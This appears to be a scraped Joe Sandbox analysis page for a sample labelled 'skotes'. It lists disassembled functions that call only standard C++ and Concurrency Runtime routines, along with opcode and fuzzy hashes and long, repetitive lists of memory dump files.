Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$FindMatchingNode::ProcessorScheduling$Base::ContextInternalMarkOversubscribedProcProcessor::ResetRetirementstd::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 3897347962-3650809737
Opcode ID: 59bb6b6acb7e4b10766329a86c7fdee2b0bfe474a1eb522002b32c470d357f46
Instruction ID: 041464a129ebbe180f559109ddfc0e5fc4e1a0220ef26e53a984c1ac795c5f08
Opcode Fuzzy Hash: 59bb6b6acb7e4b10766329a86c7fdee2b0bfe474a1eb522002b32c470d357f46
Instruction Fuzzy Hash: 91212C34A0020DAFCB14EF69C595ABDBBF5EF09310F1440E9EA15A7361CB30AE09DB94

Function 00BF78E1 Relevance: 12.1, APIs: 8, Instructions: 106timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00BF7903

Part of subcall function 00BF5CB8: __EH_prolog3_catch.LIBCMT ref: 00BF5CBF
Part of subcall function 00BF5CB8: Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 00BF5CF8

Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 00BF792A
Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00BF7936

Part of subcall function 00BF5CB8: Concurrency::details::SchedulerBase::AddContext.LIBCONCRT ref: 00BF5D70
Part of subcall function 00BF5CB8: Concurrency::details::InternalContextBase::SpinUntilBlocked.LIBCMT ref: 00BF5D7E

Concurrency::details::SchedulerBase::GetNextSchedulingRing.LIBCMT ref: 00BF7982
Concurrency::location::_Assign.LIBCMT ref: 00BF79A3
Concurrency::details::SchedulerBase::StartupVirtualProcessor.LIBCONCRT ref: 00BF79AB
Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 00BF79BD
Concurrency::details::SchedulerBase::ChangeThrottlingTimer.LIBCONCRT ref: 00BF79ED

Part of subcall function 00BF691D: Concurrency::details::SchedulerBase::FoundAvailableVirtualProcessor.LIBCONCRT ref: 00BF6942
Part of subcall function 00BF691D: Concurrency::details::VirtualProcessor::ClaimTicket::ExerciseWith.LIBCMT ref: 00BF6965

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Scheduler$ContextThrottling$InternalTimeVirtual$Processor$AssignAvailableBlockedChangeClaimConcurrency::location::_ExerciseFoundH_prolog3_catchNextProcessor::RingSchedulingSpinStartupTicket::TimerUntilWith
String ID:
API String ID: 1475861073-0
Opcode ID: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction ID: d575ceed6e5377f16159249770c446e7bd372a75b30eff2ddf50e08083dcdc17
Opcode Fuzzy Hash: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction Fuzzy Hash: FF31E130A88259BACF16AB7848927FEBBF5DF45300F0481E9DA86D7242DE64494E87D1

Function 00C04840 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00C04877
___except_validate_context_record.LIBVCRUNTIME ref: 00C0487F
_ValidateLocalCookies.LIBCMT ref: 00C04908
__IsNonwritableInCurrentImage.LIBCMT ref: 00C04933
_ValidateLocalCookies.LIBCMT ref: 00C04988

Strings

csm, xrefs: 00C0491D

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: b4465cf76d0d83387e2345994a6b941295776deeba9da20c5c1d0d3cfdf851ee
Instruction ID: 44deb057c780a1ae3ad513a9867d3b6aa677fc34ba6d3fb9064a0c3fcced4090
Opcode Fuzzy Hash: b4465cf76d0d83387e2345994a6b941295776deeba9da20c5c1d0d3cfdf851ee
Instruction Fuzzy Hash: AA41E574A00209EFCF14DF68C884A9FBBB8AF05314F14C165EA289B3E2D7319A55DF91

Function 00BFDD18 Relevance: 10.6, APIs: 7, Instructions: 117threadCOMMON

Download Yara Rule

APIs

Concurrency::details::UMS::CreateUmsCompletionList.LIBCONCRT ref: 00BFDD91
Concurrency::details::InternalContextBase::ExecutedAssociatedChore.LIBCONCRT ref: 00BFDDAE
Concurrency::details::InternalContextBase::WorkWasFound.LIBCONCRT ref: 00BFDE14
Concurrency::details::InternalContextBase::ExecuteChoreInline.LIBCMT ref: 00BFDE29
Concurrency::details::InternalContextBase::WaitForWork.LIBCONCRT ref: 00BFDE3B
Concurrency::details::InternalContextBase::CleanupDispatchedContextOnCancel.LIBCMT ref: 00BFDE4B
Concurrency::details::UMS::GetCurrentUmsThread.LIBCONCRT ref: 00BFDE74

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Context$Base::Internal$ChoreWork$AssociatedCancelCleanupCompletionCreateCurrentDispatchedExecuteExecutedFoundInlineListThreadWait
String ID:
API String ID: 2885714658-0
Opcode ID: 3f5618c1bedce189ccfc7e38993438beacab193cc9080c74a73febf4c2a2753c
Instruction ID: ebb2451c859cbe7fbeb6b12307e7c5fb2a8d0209955043c8dfcf613333e2839f
Opcode Fuzzy Hash: 3f5618c1bedce189ccfc7e38993438beacab193cc9080c74a73febf4c2a2753c
Instruction Fuzzy Hash: DA41AB30A0424C9ACF15EBA484957BC7BE6AF11304F1444F9EA516B2D3DB758E0DCB62

Function 00BFE7AF Relevance: 10.6, APIs: 7, Instructions: 102COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 00BFE7D7

Part of subcall function 00BFE544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 00BFE577
Part of subcall function 00BFE544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 00BFE599

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00BFE854
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 00BFE860
Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 00BFE86F
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 00BFE879
Concurrency::location::_Assign.LIBCMT ref: 00BFE8AD
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 00BFE8B5

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Context$Virtual$DeactivateGroupInternalProcessorProcessor::ScheduleSchedulerSegment$ActiveAssignCommitConcurrency::location::_EventPointsReclaimReleaseRunnableSafeTraceTrigger
String ID:
API String ID: 1924466884-0
Opcode ID: bbfffb619bf89a3e446ad13031b14af1e43a2d97e2ce1413a6db9463c2803398
Instruction ID: fd2280c4a30e64f056be0aea2b3e6bd855afae247125b49633298d57781f2f5f
Opcode Fuzzy Hash: bbfffb619bf89a3e446ad13031b14af1e43a2d97e2ce1413a6db9463c2803398
Instruction Fuzzy Hash: 85411535A002089FCB00EF64C495BBDB7E5FF48350F1480AADE599B392DB30A945CBA1

Function 00BE6E00 Relevance: 9.3, APIs: 6, Instructions: 336COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00BE6ED1
std::_Rethrow_future_exception.LIBCPMT ref: 00BE6F22
std::_Rethrow_future_exception.LIBCPMT ref: 00BE6F32
__Mtx_unlock.LIBCPMT ref: 00BE6FD5
__Mtx_unlock.LIBCPMT ref: 00BE70DB
__Mtx_unlock.LIBCPMT ref: 00BE7116

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
